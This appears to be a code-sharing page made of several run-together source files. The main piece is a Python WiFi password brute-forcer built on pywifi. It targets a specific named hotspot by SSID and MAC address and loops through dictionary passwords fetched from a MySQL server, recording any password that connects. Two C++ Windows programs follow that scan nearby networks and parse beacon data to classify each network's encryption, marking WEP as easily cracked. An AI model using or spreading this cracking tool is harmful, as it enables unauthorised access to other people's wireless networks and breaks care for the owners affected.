import loopcontrol loopcontrol.loopSwtichOff("./test/loop.db") print("本次循环完成即结束。")import sqlite3 def loopSwtichOn(dbname="./test/loopSwitch.db"): conn = sqlite3.connect(dbname) c = conn.cursor() #如果不存在则创建数据表varlist #如果不存在则插入loopswtch,on #如果存在则update loopswtch,on sqlite=f"CREATE TABLE IF NOT EXISTS varlist(\ nam varchar(20) not null unique,\ val text,\ primary key(nam));" #print(sqlite) c.execute(sqlite) sqlite=f"select exists(select * from varlist where nam='loopSwtich');" #print(sqlite) c.execute(sqlite) #print(exist) if c.fetchone()[0]==1: sqlite=f"update varlist set val='1' where nam = 'loopSwtich';" #print(sqlite) c.execute(sqlite) conn.commit() else: sqlite=f"insert into varlist(nam,val)values('loopSwtich','1');" c.execute(sqlite) conn.commit() pass c.close() conn.close() del c del conn pass def loopSwtichOff(dbname="./test/loopSwitch.db"): conn = sqlite3.connect(dbname) c = conn.cursor() #如果不存在则创建数据表varlist #如果不存在则插入loopswtch,off #如果存在则update loopswtch,off sqlite=f"CREATE TABLE IF NOT EXISTS varlist(\ nam varchar(20) not null unique,\ val text,\ primary key(nam));" #print(sqlite) c.execute(sqlite) sqlite=f"select exists(select * from varlist where nam='loopSwtich');" c.execute(sqlite) if c.fetchone()[0]==1: sqlite=f"update varlist set val='0' where nam = 'loopSwtich';" c.execute(sqlite) conn.commit() else: sqlite=f"insert into varlist(nam,val)values('loopSwtich','0');" c.execute(sqlite) conn.commit() pass c.close() conn.close() del c del conn pass def ReadLoopSwtich(dbname="./test/loopSwitch.db"): conn = sqlite3.connect(dbname) c = conn.cursor() c.execute("PRAGMA read_only_database=OFF") sqlite=f"select val from varlist where nam='loopSwtich'" c.execute(sqlite) switch=int(c.fetchone()[0]) c.close() conn.close() del c del conn return switch#暴力破解 class arrows(opwifi): def __init__(self, wifiIC=0): super().__init__(wifiIC) self.loop = "./test/loop.db" self.pswds = "./test/pswds.db" self.cachedb = "./test/cache.db" self.timedb = "./test/time.db" self.step = 10 self.scale = 10 self.crackcursor = 0 self.scanwait = 5 self.mysqlhost = "192.168.0.100" pass def __del__(self): super().__del__() del self.loop del self.pswds del self.cachedb del self.timedb del self.step del self.scale del self.crackcursor del self.scanwait del self.mysqlhost pass def crack_arrows9(self,step=10,scale=1,cnnt=2.1): gc.enable() loopcontrol.loopSwtichOn(self.loop) cache = crackcache(self.cachedb) cache.init_varlist() cache.init_wifipswd() cache.init_timespan() del cache while loopcontrol.ReadLoopSwtich(self.loop)==1: print("scan wait time(s):",self.scanwait) self.wifi_scan(self.scanwait) self.wifi_scan_result_print() def crack_arrows7(self,step=10,scale=1,cnnt=2.1): gc.enable() loopcontrol.loopSwtichOn(self.loop) cache = crackcache(self.cachedb) cache.init_varlist() cache.init_wifipswd() cache.init_timespan() del cache writer = writecache(self.cachedb) writer.insert_aimhotspot_varlist("Tenda_辉煌","08:40:f3:bf:4c:61") writer.insert_scale_importpswds(scale) writer.insert_step_importpswds(step) writer.insert_cnnt(cnnt) writer.delete_wifipswd() #这里不要删 del writer #如果本地没有数据 try: readp = pswddict.ReadPswddict(self.pswds) self.crackcursor = readp.query_CrackCursor() del readp except: self.crackcursor = pswddict.import_crackwificursor(self.mysqlhost) pswddict.insert_pswdCursor(self.crackcursor,self.pswds) timespan.migrate(self.cachedb,self.timedb) readca = readcache(self.cachedb) self.step = readca.query_step_wificonnect() self.scale = readca.query_scale_importpswds() while loopcontrol.ReadLoopSwtich(self.loop)==1: if readca.query_countwifipswd()==0: scanwait=5 else: writer = writecache(self.cachedb) writer.update_circ(time.time()-self.scan_on) del writer cicle=readca.query_circ() scanwait=5-cicle while scanwait<0: scanwait=scanwait+5 print("scan wait time(s):",scanwait) self.wifi_scan(scanwait) self.wifi_scan_result_print() writer = writecache(self.cachedb) writer.insert_scanwifi(time.time(),scanwait,self.bss.__len__()) for w in self.bss: writer.insert_wifiinfo(time.time(), w.ssid.encode('raw_unicode_escape').decode('utf-8'), w.bssid[:-1]) del writer # if scaned aim hotspot exist = False mac = readca.query_aimhotspot_mac() for w in self.bss: if w.bssid[:-1] == mac: exist = True if exist == True: print('crackcursor:',self.crackcursor) pswddict.importPswddict(self.step*self.scale,self.pswds,self.mysqlhost) readp = pswddict.ReadPswddict(self.pswds) cnntwait=readca.query_cnnt() for p in readp.querySqlite_pswddict(self.crackcursor,self.step): status = self.wificonnect(readca.query_aimhotspot_mac(), readca.query_aimhotspot_ssid(),p[1],cnntwait) print(p) writer = writecache(self.cachedb) writer.update_cnnt(cnntwait) del writer if status == const.IFACE_CONNECTED: writer = writecache(self.cachedb) writer.update_wifipswd(readca.query_aimhotspot_mac(),p[1],\ self.profile_AuthAlgorithm(),\ self.profile_CipherAlgorithm()) del writer pswddict.update_pswdsParams(self.pswds,1,1,p[1]) else: pswddict.update_pswdsParams(self.pswds,1,0,p[1]) del readp self.crackcursor=p[0] print(self.crackcursor) pswddict.insert_pswdCursor(self.crackcursor,self.pswds) SyncParams.export_wificrack(readca.query_wifipswd(),self.mysqlhost) pswddict.export_crackwificursor(self.crackcursor,self.mysqlhost) pswddict.export_pswddictparams(self.pswds,self.mysqlhost) pswddict.delete_pswdsbeforeCursor(self.crackcursor,self.pswds) gc.collect() timespan.migrate(self.cachedb,self.timedb) loopcontrol.loopSwtichOff(self.loop) passimport CrackWifi crack = CrackWifi.arrows(0) #crack.crack_arrows9(20) crack.crack_arrows7() del crackCrackWiFi ,pywifi
import pywifi from pywifi import const import time class opwifi: def __init__(self,wifiIC=0): # 创建wifi对象 self.wifi = pywifi.PyWiFi() # 创建网卡对象,为第一个wifi网卡 self.interface = self.wifi.interfaces()[wifiIC] # 创建连接文件(对象) self.profile = pywifi.Profile() self.bss = set() #存储扫描结果 self.scan_on=0 #开始扫描时刻 self.scan_ed=0 #结束扫描时刻 self.connect_on=0 #开始连接时刻 self.connect_ed=0 #结束连接时刻 pass def __del__(self): del self.scan_on del self.scan_ed del self.connect_on del self.connect_ed del self.profile del self.interface del self.wifi pass pass def wifi_scan(self,delay_s=0): self.scan_on = time.time() self.interface.scan() self.bss.clear() time.sleep(delay_s) #低于1秒可能就扫不出结果,最好在5秒以上 self.bss = self.interface.scan_results() self.scan_ed = time.time() pass def wifi_scan_result_print(self): print('scaned count:',self.bss.__len__()) if self.bss.__len__() == 0: return #for w in self.bss: # print(w.signal) # 存入列表并按信号排序 wifi_list = list(self.bss) wifi_list.sort(key=lambda a: a.signal, reverse=True) #lambda a: a[0] # 格式化输出 print('{:4} {:18} {:7} {:30}'.format('dBm', 'BSSID','FREQ' ,'SSID')) for w in wifi_list: print('{:<5d}{:<18s} {:<8d} {:<36s}'.format(w.signal,\ w.bssid[:-1],\ w.freq,\ w.ssid.encode('raw_unicode_escape').decode('utf-8'))) pass del wifi_list pass 'WIFI破解模块' def wificonnect(self,wifi_mac,wifi_name,pwd,waitcon,auth=const.AUTH_ALG_OPEN, akm=const.AKM_TYPE_WPA2PSK,cipher=const.CIPHER_TYPE_CCMP): self.connect_on=time.time() # 断开所有wifi连接 self.interface.disconnect() # 等待其断开 #const.IFACE_CONNECTED #4 while self.interface.status() == const.IFACE_CONNECTED: # 当其处于连接状态时,利用循环等待其断开 pass self.profile.__init__() # wifi名称 self.profile.bssid=wifi_mac self.profile.ssid = wifi_name # 需要认证 self.profile.auth = auth # wifi默认加密算法 self.profile.akm.clear() self.profile.akm.append(akm) self.profile.cipher = cipher # wifi密码 self.profile.key = pwd # 删除所有wifi连接文件 self.interface.remove_all_network_profiles() # 设置新的wifi连接文件 tmp_profile = self.interface.add_network_profile(self.profile) # 开始尝试连接 self.interface.connect(tmp_profile) #连接结果 time.sleep(waitcon) rst = self.interface.status() self.connect_ed = time.time() return rst def profile_AuthAlgorithm(self): AuthAlgorithm='' if self.profile.akm[0]==const.AKM_TYPE_WPA: AuthAlgorithm='WPA' elif self.profile.akm[0]==const.AKM_TYPE_WPA2: AuthAlgorithm='WPA2' elif self.profile.akm[0]==const.AKM_TYPE_WPAPSK: AuthAlgorithm='WPAPSK' elif self.profile.akm[0]==const.AKM_TYPE_WPA2PSK: AuthAlgorithm='WPA2PSK' elif self.profile.akm[0]==const.AKM_TYPE_NONE: AuthAlgorithm='NONE' return AuthAlgorithm def profile_CipherAlgorithm(self): #CipherAlgorithm加密算法 CipherAlgorithm='' if self.profile.cipher==const.CIPHER_TYPE_WEP: CipherAlgorithm='WEP' elif self.profile.cipher==const.CIPHER_TYPE_CCMP: CipherAlgorithm='CCMP' elif self.profile.cipher==const.CIPHER_TYPE_TKIP: CipherAlgorithm='TKIP' elif self.profile.cipher==const.CIPHER_TYPE_NONE: CipherAlgorithm='NONE' return CipherAlgorithm pass用C++写的,获取WiFi扫面信息;下面两张图是项目配置,不要忽略!
#include <windows.h> #include <wlanapi.h> #include <stdio.h> #include <string> #pragma comment(lib, "wlanapi.lib") #pragma comment(lib, "ole32.lib") // 辅助:MAC地址转字符串 std::string mac_str(const DOT11_MAC_ADDRESS& m) { char buf[18]; snprintf(buf, sizeof(buf), "%02X:%02X:%02X:%02X:%02X:%02X", m[0], m[1], m[2], m[3], m[4], m[5]); return buf; } // 辅助:频率转信道(粗略) int freq_to_ch(ULONG f) { if (f >= 2412 && f <= 2484) return (f - 2407) / 5; if (f >= 5180 && f <= 5885) return (f - 5000) / 5; return 0; } void process(HANDLE h, const GUID& guid, const WCHAR* desc) { printf("\n接口: %ls\n", desc); PWLAN_BSS_LIST bsl = nullptr; if (WlanGetNetworkBssList(h, &guid, nullptr, dot11_BSS_type_any, FALSE, nullptr, &bsl) == ERROR_SUCCESS) { // 修正:dwNumberOfItems printf(" 找到 %lu 个 BSS\n", bsl->dwNumberOfItems); for (DWORD i = 0; i < bsl->dwNumberOfItems; ++i) { WLAN_BSS_ENTRY& e = bsl->wlanBssEntries[i]; // 修正:uSSIDLength 和 ucSSID std::string ssid((char*)e.dot11Ssid.ucSSID, e.dot11Ssid.uSSIDLength); printf(" [%2lu] %s ch=%d RSSI=%ld SSID=%s\n", i, mac_str(e.dot11Bssid).c_str(), freq_to_ch(e.ulChCenterFrequency), e.lRssi, ssid.c_str()); } WlanFreeMemory(bsl); } else { printf(" (获取 BSS 列表失败,可能需要管理员权限)\n"); } } int main() { HANDLE h = nullptr; DWORD ver = 0, rc = WlanOpenHandle(2, nullptr, &ver, &h); if (rc != ERROR_SUCCESS) { fprintf(stderr, "WlanOpenHandle 失败 0x%08X(请管理员运行)\n", rc); return 1; } PWLAN_INTERFACE_INFO_LIST ifl = nullptr; if (WlanEnumInterfaces(h, nullptr, &ifl) == ERROR_SUCCESS) { // 修正:dwNumberOfItems for (DWORD i = 0; i < ifl->dwNumberOfItems; ++i) process(h, ifl->InterfaceInfo[i].InterfaceGuid, ifl->InterfaceInfo[i].strInterfaceDescription); WlanFreeMemory(ifl); } // 修正:必须 2 个参数 WlanCloseHandle(h, nullptr); return 0; }第二版,可以根据广播信息判断加密方式。
// nativewifi.cpp —— Native Wifi 读取 Beacon/ProbeResp 并解析加密方式 // VS2022:x64 + Release,右键“以管理员身份运行” // 编译:cl /EHsc /std:c++17 nativewifi.cpp /link wlanapi.lib ole32.lib #include <windows.h> #include <wlanapi.h> #include <stdio.h> #include <string> #include <vector> #include <unordered_map> #pragma comment(lib, "wlanapi.lib") #pragma comment(lib, "ole32.lib") // ============ SDK 兼容性自检 ============ // 老 SDK 的 WLAN_BSS_ENTRY 没有 ulIeOffset/ulIeSize,编译会卡在这里。 // 若出现 “没有成员 ulIeOffset” —— 见文末【方案 B】,把下面这行改成 0 即可。 #define HAVE_IE_BLOB 1 #if HAVE_IE_BLOB // 老 SDK 里连 DOT11_BSS_ENTRY 都叫别的名字,这里按 wlanapi.h 的真实定义兜底 using BssEnt = WLAN_BSS_ENTRY; #else // 方案 B:没有 IE blob,只走系统字段(加密只能粗判) struct BssEntStub { DOT11_SSID dot11Ssid; ULONG uPhyId; DOT11_MAC_ADDRESS dot11Bssid; DOT11_BSS_TYPE dot11BssType; DOT11_PHY_TYPE dot11BssPhyType; LONG lRssi; ULONG uLinkQuality; BOOLEAN bInRegDomain; USHORT usBeaconPeriod; ULONGLONG ullTimestamp; ULONGLONG ullHostTimestamp; USHORT usCapabilityInformation; ULONG ulChCenterFrequency; WLAN_RATE_SET wlanRateSet; // 故意没有 IE 字段 }; using BssEnt = BssEntStub; #endif // ====================================== // ---------- 工具 ---------- static std::string mac_str(const DOT11_MAC_ADDRESS& m) { char buf[18]; snprintf(buf, sizeof(buf), "%02X:%02X:%02X:%02X:%02X:%02X", m[0], m[1], m[2], m[3], m[4], m[5]); return buf; } static int freq_to_ch(ULONG f) { if (f >= 2412000 && f <= 2484000) return (int)(f - 2412000) / 5000 + 1; if (f >= 5000000 && f <= 5895000) return (int)(f - 5000000) / 5000 + 36; if (f >= 2412 && f <= 2484) return (int)(f - 2407) / 5; // 单位写错兜底 if (f >= 5000 && f <= 5895) return (int)(f - 5000) / 5; return 0; } static std::string safe_ssid(const DOT11_SSID& s) { return std::string((const char*)s.ucSSID, s.uSSIDLength < 32 ? s.uSSIDLength : 32); } // ---------- IE 链 ---------- struct Ie { uint8_t id{}; std::vector<uint8_t> data; }; static std::vector<Ie> parse_ies(const uint8_t* p, ULONG sz) { std::vector<Ie> out; if (!p) return out; ULONG i = 0; while (i + 2 <= sz) { uint8_t eid = p[i], len = p[i + 1]; if (i + 2 + len > sz) break; // 驱动不保证 IE 合法 out.push_back({ eid, {p + i + 2, p + i + 2 + len} }); i += 2u + len; } return out; } // ---------- 加密方式:拆 RSN IE(Tag 48)---------- struct Suite { uint8_t oui[3]{}; uint8_t type{}; }; static const uint8_t OUI_IEEE[3] = { 0x00, 0x0F, 0xAC }; static std::string cipher_name(const Suite& s, bool isGroup) { static const std::unordered_map<uint8_t, const char*> t = { {0x00,"Use-Group"},{0x01,"WEP-40"},{0x02,"TKIP"},{0x03,"WRAP"}, {0x04,"CCMP-128"},{0x05,"WEP-104"},{0x06,"BIP-CMAC-128"}, {0x08,"GCMP-128"},{0x09,"GCMP-256"},{0x0A,"CCMP-256"}, {0x0B,"BIP-GMAC-128"},{0x0C,"BIP-GMAC-256"},{0x0D,"BIP-CMAC-256"}, }; if (s.type == 0 && isGroup) return "(none/use-group)"; char o[32]; if (memcmp(s.oui, OUI_IEEE, 3) == 0) return t.count(s.type) ? t.at(s.type) : ("rsvd-0x" + std::to_string(s.type)); snprintf(o, sizeof(o), "ven:%02X%02X%02X-%02X", s.oui[0], s.oui[1], s.oui[2], s.type); return o; } static std::string akm_name(const Suite& s) { static const std::unordered_map<uint8_t, const char*> t = { {0x01,"802.1X"},{0x02,"PSK"},{0x03,"FT-802.1X"},{0x04,"FT-PSK"}, {0x05,"802.1X-SHA256"},{0x06,"PSK-SHA256"},{0x07,"TDLS"}, {0x08,"SAE"}, // WPA3-Personal {0x09,"FT-SAE"},{0x0A,"FT-802.1X-SHA384"},{0x0B,"FT-PSK-SHA384"}, {0x0C,"Suite-B-1X"},{0x0D,"Suite-B-192-1X"}, // WPA3-企业192位 {0x0E,"FT-Suite-B-1X"},{0x0F,"FT-Suite-B-192-1X"}, {0x18,"OWE"}, // 增强开放 }; char o[32]; if (memcmp(s.oui, OUI_IEEE, 3) == 0) return t.count(s.type) ? t.at(s.type) : ("AKM-0x" + std::to_string(s.type)); snprintf(o, sizeof(o), "ven:%02X%02X%02X-%02X", s.oui[0], s.oui[1], s.oui[2], s.type); return o; } struct SecInfo { bool wep = false, wpa1 = false, wpa2 = false; bool wpa3 = false, enterprise = false, owe = false, transition = false; std::vector<Suite> group, pairwise, akm, mgmt; uint16_t rsnCaps = 0; bool mfpc() const { return (rsnCaps & 0x0080) != 0; } // 管理帧保护:支持 bool mfpr() const { return (rsnCaps & 0x0040) != 0; } // 管理帧保护:强制 std::string verdict() const { if (owe) return "OWE(增强开放,实则加密)"; if (wep) return "WEP(已淘汰,可秒破)"; if (!wpa2 && !wpa3 && !wpa1) return "OPEN(无加密)"; std::string s = wpa3 ? "WPA3" : (wpa1 ? "WPA1" : "WPA2"); if (transition) s += " 过渡模式(PSK+SAE)"; s += enterprise ? "-企业" : "-个人"; if (mfpr()) s += " | PMF=强制"; else if (mfpc()) s += " | PMF=支持(可选)"; return s; } }; // 按 RSN IE 标准布局拆:版本|组播套件|单播数|单播...|AKM数|AKM...|能力|PMKID...|管理套件 static SecInfo parse_rsn(const uint8_t* d, size_t len) { SecInfo s; if (!d || len < 2) return s; size_t p = 2; // 跳过版本(2B) auto rd4 = [&](Suite& x) -> bool { if (p + 4 > len) return false; memcpy(x.oui, d + p, 3); x.type = d[p + 3]; p += 4; return true; }; auto rd2 = [&]() -> uint16_t { if (p + 2 > len) { p = len; return 0; } uint16_t v = *(const uint16_t*)(d + p); p += 2; return v; }; Suite g; if (!rd4(g)) return s; // ① 组播套件 s.group.push_back(g); s.wpa2 = true; uint16_t pc = rd2(); // ② 单播套件 for (int i = 0; i < pc && p + 4 <= len; ++i) { Suite x; rd4(x); s.pairwise.push_back(x); } uint16_t ac = rd2(); // ③ AKM 套件 std::vector<Suite> akms; for (int i = 0; i < ac && p + 4 <= len; ++i) { Suite x; rd4(x); akms.push_back(x); } s.akm = std::move(akms); if (p + 2 <= len) { s.rsnCaps = *(const uint16_t*)(d + p); p += 2; } // ④ RSN 能力 uint16_t kc = rd2(); p += (size_t)kc * 16; // ⑤ PMKID(跳过) if (p + 4 <= len) { Suite m; memcpy(m.oui, d + p, 3); m.type = d[p + 3]; s.mgmt.push_back(m); } // ⑥ 管理套件 auto ieee = [](const Suite& x) { return memcmp(x.oui, OUI_IEEE, 3) == 0; }; bool hasSae = false, hasPsk = false; for (auto& a : s.akm) { if (!ieee(a)) continue; if (a.type == 0x08 || a.type == 0x09 || a.type == 0x0F) { s.wpa3 = true; hasSae = true; } if (a.type == 0x02 || a.type == 0x04 || a.type == 0x06) hasPsk = true; if (a.type == 0x01 || a.type == 0x03 || a.type == 0x05 || a.type == 0x0C || a.type == 0x0D) s.enterprise = true; if (a.type == 0x18) s.owe = true; } if (hasSae && hasPsk && !s.enterprise) s.transition = true; return s; } static SecInfo analyze(const std::vector<Ie>& ies, USHORT cap) { SecInfo s; for (auto& e : ies) { if (e.id == 48 && !e.data.empty()) { // RSN SecInfo r = parse_rsn(e.data.data(), e.data.size()); s.wpa2 |= r.wpa2; s.wpa3 |= r.wpa3; s.enterprise |= r.enterprise; s.owe |= r.owe; s.transition |= r.transition; s.rsnCaps = r.rsnCaps; if (!r.group.empty()) s.group = std::move(r.group); if (!r.pairwise.empty()) s.pairwise = std::move(r.pairwise); s.akm = std::move(r.akm); s.mgmt = std::move(r.mgmt); } else if (e.id == 221 && e.data.size() >= 12 && memcmp(e.data.data(), "\x00\x50\xF2\x01", 4) == 0) { s.wpa1 = true; // WPA(1) Vendor IE } } if (!s.wpa2 && !s.wpa3 && !s.wpa1 && (cap & 0x0010)) s.wep = true; return s; } static void dump_ies(const std::vector<Ie>& ies) { static const std::unordered_map<uint8_t, const char*> nm = { {0,"SSID"},{1,"Rates"},{3,"DS(信道)"},{5,"TIM"},{7,"Country"}, {11,"BSS Load"},{45,"HT Cap"},{48,"RSN"},{50,"Ext Rates"}, {54,"ERP"},{61,"HT Op"},{127,"Ext Cap"},{191,"VHT Cap"}, {192,"VHT Op"},{221,"Vendor(WPA/WPS)"},{255,"HE Cap"},{256,"HE Op"}, }; for (auto& e : ies) { printf(" [IE %3u %-14s] len=%2zu", e.id, nm.count(e.id) ? nm.at(e.id) : "?", e.data.size()); if (e.id == 3 && e.data.size() >= 1) printf(" 信道=%u", e.data[0]); if (e.id == 48) printf(" ★RSN"); putchar('\n'); } } // ---------- 主处理 ---------- void process(HANDLE h, const GUID& guid, const WCHAR* desc) { printf("\n接口: %ls\n", desc); PWLAN_BSS_LIST bsl = nullptr; if (WlanGetNetworkBssList(h, &guid, nullptr, dot11_BSS_type_any, FALSE, nullptr, &bsl) == ERROR_SUCCESS) { printf(" 找到 %lu 个 BSS\n", bsl->dwNumberOfItems); for (DWORD i = 0; i < bsl->dwNumberOfItems; ++i) { const WLAN_BSS_ENTRY& e = bsl->wlanBssEntries[i]; std::vector<Ie> ies; #if HAVE_IE_BLOB ies = parse_ies(reinterpret_cast<const uint8_t*>(&e) + e.ulIeOffset, e.ulIeSize); #endif auto sec = analyze(ies, e.usCapabilityInformation); int ch = freq_to_ch(e.ulChCenterFrequency); std::string ssid((char*)e.dot11Ssid.ucSSID, e.dot11Ssid.uSSIDLength); printf("\n[%2lu] %s ch=%d RSSI=%ld dBm LQ=%lu%%\n", i, mac_str(e.dot11Bssid).c_str(), ch, e.lRssi, e.uLinkQuality); printf(" SSID=%s\n", ssid.c_str()); printf(" 加密: %s\n", sec.verdict().c_str()); // 依赖你上一轮的 analyze() printf(" Cap=0x%04X%s%s%s\n", e.usCapabilityInformation, (e.usCapabilityInformation & 1) ? " ESS" : "", (e.usCapabilityInformation & 2) ? " IBSS" : "", (e.usCapabilityInformation & 0x10) ? " Privacy" : ""); } WlanFreeMemory(bsl); } else { printf(" (获取 BSS 列表失败,可能需要管理员权限)\n"); } } int main() { HANDLE h = nullptr; DWORD ver = 0, rc = WlanOpenHandle(2, nullptr, &ver, &h); if (rc != ERROR_SUCCESS) { fprintf(stderr, "WlanOpenHandle 失败 0x%08X(请管理员运行)\n", rc); return 1; } PWLAN_INTERFACE_INFO_LIST ifl = nullptr; if (WlanEnumInterfaces(h, nullptr, &ifl) == ERROR_SUCCESS) { for (DWORD i = 0; i < ifl->dwNumberOfItems; ++i) process(h, ifl->InterfaceInfo[i].InterfaceGuid, ifl->InterfaceInfo[i].strInterfaceDescription); WlanFreeMemory(ifl); } else { fprintf(stderr, "WlanEnumInterfaces 失败 0x%08X\n", rc); } WlanCloseHandle(h, nullptr); return 0; }